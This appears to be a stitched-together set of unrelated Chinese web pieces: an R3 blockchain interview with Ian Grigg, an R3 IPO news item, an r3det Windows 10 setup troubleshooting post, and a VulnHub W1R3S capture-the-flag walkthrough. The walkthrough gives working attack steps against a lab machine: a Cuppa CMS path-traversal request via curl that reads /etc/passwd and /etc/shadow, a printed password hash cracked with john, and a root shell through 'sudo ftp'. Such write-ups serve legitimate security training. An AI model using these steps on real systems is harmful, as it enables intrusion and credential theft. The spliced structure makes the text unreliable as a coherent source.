R3是银行成员多达42家的财团。其架构咨询师Ian Grigg说：

 既然网络上信息来源和出处值得信任，企业区块链“不一定得是严密控制的封闭花园”。
Ian Grigg是Norton Rose主办的智能合约会议小组成员。一同与会的有，巴克莱投资银行的区块链专家Dr Lee
Braine、Clearmatics（伦敦区块链金融清算结算初创企业）首席执行官Robert
Sams、Everledger创始人兼首席执行官Leanne Kemp。
Ian Grigg说：

 “这不是非此即彼的，不是完全开放或完全受限的二元选择。这两者之间是存在空隙的。比如，你可以拥有一个区块链或产品系统，任何人都可以进入这个系统，但是在系统另一侧的你是可知的。”

“所以，如果我与合约方进行交易，我就可以很清楚的了解这个人的出处，因为这就是该技术的特点。它告诉我们那个人是谁，而且如果系统设置正确，我们可以得到那个人很详细的信息。”

“因此，如果我信任来自另一侧的消息，就不需要完全受控的封闭花园。这是很有趣的。举例说，一个银行财团或公司财团内部分工合作，你不能做到对每个人都详细调查。你知道你在和世界另一端的某个人交谈，因此就需要获取那个人的相关信息。”

“关键不在于你要进入这个网络，而是要找出跟你交谈的人是谁。一旦你掌握了这个，你就可以随心所欲把不同行业分布在同一个网络内。并且你无须担心接入点的KYC和AML规则。所有这些都是在贸易点完成的。因此你有一系列的备选项。”

 单一记录或单一记录来源的概念（所谓的黄金备份或黄金记录）“将会是游戏规则的改变者，如果你能实现这个可能的话。”
“具体怎么实现是个复杂的任务，但是我们敢说，这是分布式账本中智能合约的一部分。”
媒体记者问Ian Grigg：

 如果R3财团清算结算业务优化的方向是实时结算，人们常常说T+0是区块链效率的保证。然而，实现实时结算势必会触动中间商、经纪人的利益；破坏市场流动性；影响卖空交易。比如，通过大规模的股票交易信息泄漏。


R3架构咨询师：Ian Grigg
Ian Grigg回答：

 假设上述问题的技术解答是，首先一些银行财团很重视很清楚这个问题。然而，目前还没有具体的解决途径，也没有说一定需要某方或另一方来参与或怎么做。

现在全球那么多的财团，对这个问题的解答当然也很多。比如，无论从技术，还是政治，亦或是监管角度看，股票交易所很显然会牵涉其中，清算所和其他组织肯定也面临这个问题。
Ian
Grigg认为，目前预测具体事情会怎么发展还为时尚早。很多人在清算结算升级到T+0的事情上望而却步，并希望先看到那些成果唾手可得的用例并传播出去。我认为那是我们面临问题的现实一面。
该技术存在二分性，目前并且在未来几年内都还做不到清算结算T+秒。监管机构也对此心存疑虑，“怎么应用于现实？”
比如说现金，我们早就掌握了现金操作流程。而目前这个方案的问题都集中在政府监管、政治层面和现有的商业模式中。

 “通往新的现金系统的道路该怎么走？困难不在于技术水平。另一方面，如果是钻石交易行业或复杂的跨境业务，我们最开始就会遇到技术难题。因为，如果要将其整合到数据源系统，其中的一些问题我们很难去解决。”

“所以现状就是，两个不同领域并行，而它们两者之间常常无法就问题在哪达成统一。我们生活在一个很有趣的时代，最终结果如何我们很难预料。”
R3架构师Ian Grigg：并不是只有完全开放和完全受限两种选择
会议中专门讨论了智能合约到底意味着什么。Clearmatics首席执行官Robert
Sams给出了一个超级劲爆的定义。他说：“什么是智能合约？我想它应该是律师起草的那种死板合约的对立面。合约条款特性之一就是机器可执行。但是，如果
那就是智能合约的全部的话，那么人们对它的兴趣就有点令人惊讶了。因为这就意味着清算行几十年都在做智能合约。”

他说，人们认为这个概念新颖和创新是因为它源于计算机虚拟世界。数字货币在公共区块链中流通，经济价值可以在匿名方之间转移。并且整个系统独立于法律制度和现实世界法规之外。

 “我们一直在说，用自动化实现高效的合同执行，那不是一门革新的学科；而是我们长期以来用不同方式在做的事情。我想，这项技术吸引人的地方在于引入了分布式共识机制。”

“所以，我们不用指定计算代理作为受信任的第三方来执行合同。我们有能力聚集一群机构，广泛合作，在分布式网络上进行计算。我想，那种形式的合同执行有一些有趣的商业和法律问题。”






更多资讯请点击山寨币开发网：www.shanzhaibikaifa.com
							
		

5-vulnhub W1R3S 1
下载地址为：https://www.vulnhub.com/entry/w1r3s-101,220/

本次的靶机ip为192.168.3.24（桥接模式自动获取）

目标：得到root权限 找到flag

一、信息搜集
1.扫描目标ip,这里使用arp-scan -l

2.扫描端口，这里使用nmap
命令为nmap -p 1-65535 -sV 192.168.3.24
nmap -p 1-65535 -sV 192.168.3.24

Starting Nmap 7.70 ( https://nmap.org ) at 2021-02-18 20:16 CST

Nmap scan report for 192.168.3.24

Host is up (0.00035s latency).

Not shown: 55528 filtered ports, 10003 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.0.8 or later

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

3306/tcp open mysql MySQL (unauthorized)
3.扫描目录，这里使用dirb:
---- Scanning URL: http://192.168.3.24/ ----

==> DIRECTORY: http://192.168.3.24/administrator/

http://192.168.3.24/index.html (CODE:200|SIZE:11321)

==> DIRECTORY: http://192.168.3.24/javascript/
http://192.168.3.24/server-status (CODE:403|SIZE:300)

==> DIRECTORY: http://192.168.3.24/wordpress/

(这里可以看出安装了wordpress)
4.搜集信息
Web 服务器 Apache 2.4.18 操作系统 Ubuntu
5.依次进行访问，得到信息
php版本为5.3、支持文件上传、得到cms为Cuppa CMS


6.目录扫描administrator
http://192.168.3.24/administrator/installation/这里是Cuppa CMS安装设置(这里可以目录扫描一波)

---- Scanning URL: http://192.168.3.24/administrator/ ----

==> DIRECTORY: http://192.168.3.24/administrator/alerts/

==> DIRECTORY: http://192.168.3.24/administrator/api/

==> DIRECTORY: http://192.168.3.24/administrator/classes/

==> DIRECTORY: http://192.168.3.24/administrator/components/

==> DIRECTORY: http://192.168.3.24/administrator/extensions/

http://192.168.3.24/administrator/index.php (CODE:302|SIZE:6946)

==> DIRECTORY: http://192.168.3.24/administrator/installation/

==> DIRECTORY: http://192.168.3.24/administrator/js/

==> DIRECTORY: http://192.168.3.24/administrator/language/

==> DIRECTORY: http://192.168.3.24/administrator/media/
http://192.168.3.24/administrator/robots.txt (CODE:200|SIZE:26)

==> DIRECTORY: http://192.168.3.24/administrator/templates/


二、getshell
1.搜索漏洞
这里既然知道了cms那么我们可以网上搜集一些他的漏洞如下：

https://www.exploit-db.com/根据提示尝试了一波发现读取不到文件http://192.168.3.24/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd


2.使用curl进行读取
所以现在使用curl来进行读取（curl 是常用的命令行工具，用来请求 Web 服务器。它的名字就是客户端（client）的 URL 工具的意思。）

命令为：curl -s --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd' http://192.168.3.24/administrator/alerts/alertConfigField.php
3.读取/etc/passwd 和/etc/shadow文件
找到了一个用户w1r3s，然后同样的方法读取/etc/shadow



命令为：curl -s --data-urlencode 'urlConfig=../../../../../../../../../etc/shadow' http://192.168.3.24/administrator/alerts/alertConfigField.php


4.使用破解工具john进行破解密码
既然已经知道shadow那么我们接下来可以使用破解工具john。

1).放进txt文件

w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
2).使用工具：



3).破解成功：



用户名：w1r3s 密码：computer
5.ssh连接
目前已经知道他开了22端口 那么我们现在可以进行连接

ssh w1r3s@192.168.3.24



三、提权
1.信息搜集
首先信息搜集：

uname -a

Linux W1R3S 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
2.使用ftp提权：
sudo ftp

sudo: unable to resolve host W1R3S

ftp> !/bin/bash

root@W1R3S:~# whoami

root

root@W1R3S:~# id

uid=0(root) gid=0(root) groups=0(root)


这里可以尝试多种方法提权 均可成功！！
3.找到flag:
cd /root

cat flag.txt

    

                    

                    

                    
                    
                    点击上方“蓝色字”可关注我们！







暴走时评：区块链软件公司R3最近计划推出首次公开募股（IPO）。公司正在与顾问就首次公开募股协商，目前尚未作出最终决定，潜在买家表示很感兴趣。R3一直致力于为更广泛的商业社区提供区块链解决方案。
作者：Ana Alexandre    翻译：Miranda
Bloomberg报道，R3是一个区块链软件公司，领导着一个由200多名成员组成的联盟，最近计划推出首次公开募股（IPO）。
消息人士告诉Bloomberg，公司正在与顾问就首次公开募股协商，潜在买家表示很感兴趣。据报道，这项计划和最终决定将由R3创始人兼首席执行官David
Rutter和投资者决定，目前尚未确定。
公司在一份声明中说：
“考虑到Corda的成功，我们对这一计划并不感到惊讶，但IPO并不是我们此时追求的道路。我们的使命从一开始就是为更广泛的商业社区提供区块链解决方案，我们做出的任何决定都将谨遵这一目标。”
据称，在区块链软件市场的增长和发展之后，总部位于纽约的R3正在权衡自己的选择。根据Deloitte在5月进行的调查，参与调查的30％的财务主管表示他们计划在未来一年半内将资源投入区块链，而33％的受访者表示他们已准备好实施这项技术。
本周早些时候，R3发布了为企业量身定做的开源分布式账本平台Corda的新版本。Corda Enterprise做了优化，以满足现代企业的需求，并包含区块链应用防火墙，让平台在企业数据中心内运行，并仍与Corda的节点进行通信。
今年6月，匿名前R3员工告诉财富，R3的内部财务目标是目前收入的10倍。然而，公司的总经理Charley Cooper否认了这一传言，并称该公司没有陷入财政危机。他说：
“我们目前有足够的资金，目前还没有筹集额外资金的计划。”
本文仅代表作者个人观点，不代表区块链铅笔的立场，不构成投资建议，内容仅供参考。
3分钟了解什么是区块链？（中文动画）|（英文动画教程）
3分钟了解什么是DAO?（中文动画）|（英文动画教程）
3分钟看懂以太坊和智能合约？（中文动画）|（英语动画教程）
3分钟了解比特币挖矿和区块链共识机制？（中文动画）|（英文动画教程）
3分钟了解公有链和私有链（中文动画教程）|（英文动画教程）
3分钟了解区块链的六层模型（中文动画教程）|（英文动画教程）
什么是区块链英文版（动画教程）
肖风：区块链与另类资产配置
逐鹿区块链！详解三大巨头BAT区块链战略布局
麦肯锡报告：区块链对保险行业的影响
八张图表解读区块链的未来发展
震惊全球的The DAO黑客事件全程回顾
Circle获得包括IDG、百度、万向在内6000万美元融资


关注本公众号后，进入公众号
回复关键词可以查阅资料，以下是部分关键词
回复 WEF ，查看《WEF：世界经济论坛认为区块链是互联网金融行业的未来报告》
回复 智能合约 ，查看《巴克莱银行报告》
回复 moody ，查看《穆迪120个区块链项目报告》
回复 SWIFT ，查看SWIFT《区块链对证券交易全流程产生的影响及潜力》报告
回复 论文11 ，查看论文《可扩展的去中心区块链》
回复 埃森哲2 ，查看埃森哲《区块链每年可以为投资银行节省120亿美元》报告
回复 联合国报告 ，查看联合国报告《数字货币和区块链技术在构建社会和可信金融之间扮演的角色》
回复 用户特性 ，查看普林斯顿大学首本比特币教科书初稿《比特币用户的特性（Characteristics of Bitcoin Users）》
回复 普林斯顿 ，查看普林斯顿大学首本比特币教科书初稿《比特币和数字货币技术（Bitcoin and Cryptocurrency Technologies）》
回复 IMF，查看国际货币基金组织报告《Virtual Currencies and Beyond: Initial Considerations》
回复 DTCC ，查看美国存管信托清算公司报告《DTCC: 拥抱分布式》
回复 广发 ，查看报告《科技前沿报告：区块链：正快速走进公众和政策视野》
回复 川财1 ，查看报告《川财证券：区块链技术调研报告之一：具有颠覆所有行业的可能性》
回复 川财2 ，查看报告《川财证券：区块链技术调研报告之二：区块链技术进化论-区块链技术的国内实践和展望》
回复 桑坦德 ，查看桑坦德银行报告《The Fintech 2.0 Paper: rebooting financial services》
回复 拜占庭 ，查看《拜占庭将军问题详解》
回复 论文1 ，查看论文《比特币闪电网络：可扩展的离线即时支付》
回复 论文2 ，查看论文《比特币骨干协议》
回复 论文3 ，查看论文《数字货币是否应该进入Barbados央行国际储备货币组合中》
回复 帮助 ，查看本公众号全部关键词列表


点击下方“阅读原文”查看更多，页面出现后再点击“来源”可以查看译文原文链接 ↓↓↓


                
  

【r3det（win10）】报错及处理方式
提示：


多用google

多用google

多用google
请保证严格按照up主的演示视频操作
r3det在win10上配置的教学视频链接

问题1：RuntimeError: cuda runtime error (209) : no kernel image is available for execution on the device
注意我的这个是cuda（209）号问题

出现原因：这个问题的出现的原因对于我来说并不是一些常见的原因，而是在编译mmdet网络的环节出了问题，我的VS版本是2019，编译网络遇到的问题是：

**

…\cpp_extension.py:191: UserWarning: Error checking compiler

version for cl: 【WinError 2】 系统找不到指定的文件。   warnings.warn(‘Error

checking compiler version for {}: {}’.format(compiler, error))

**

就是因为这个编译遇到的问题2，所以导致了问题1的出现，大家可以再build一下mmdet，看一下打印的信息有没有这句话，如果有，那你的编译阶段多半有问题，要把build文件夹全删了，并且pip uninstall mmdet 之后，再重新配置一下处理好这个warning之后再编译。具体处理方法查看问题2的解决方法（问题2就是这个warning）
其他资料：参考链接

这个我没有用上，但是或许可以帮到你们（google找到的，其他浏览器不知道能不能进）：


问题2：\cpp_extension.py:191: UserWarning: Error checking compiler version for cl: 【WinError 2】 系统找不到指定的文件。
出现原因：
就是他真的找不到cl.exe文件。。。
解决办法
把cl.exe文件的路径给添加到Path环境变量中就行了，应该还要重启下电脑：


这个是我的路径，你们可以根据下面的参考链接来做：
参考链接
问题3：cuda：out of memory XXXX
出现原因：
就是在验证阶段（val） 显存不够，，我的显卡是GTX1650的，算力7.5；这个问题困扰了我一下午55555555555555555555，但是好在最后解决了。训练阶段出现这个问题能不能解决我不知道。
解决办法
方法一

这个是我的方法，我根据错误的提示（很遗憾我把log文件都删了。。。）并且结合参考的一些博客，然后我在这个地方添加了这样的代码：


黄框部分是我添加的代码；反正添加后吧，我也不知道影响不影响（只会跑代码，，不懂pytorch），但我从任务管理器看gpu的显存，用的少了。

其中最主要的是torch.no_grad()，注释的那行print是我想看这个语句在什么时候起作用，然后我发现，他应该在每一个epoch都起作用，所以我的优化方法应该不太好，，应该可以在某处代码修改让他只在val阶段清缓存和计算no_grad()
方法二

方法二就是你们去探索了，有更好的想法欢迎在讨论区留言:D
参考链接很多，一搜一大把，不贴了。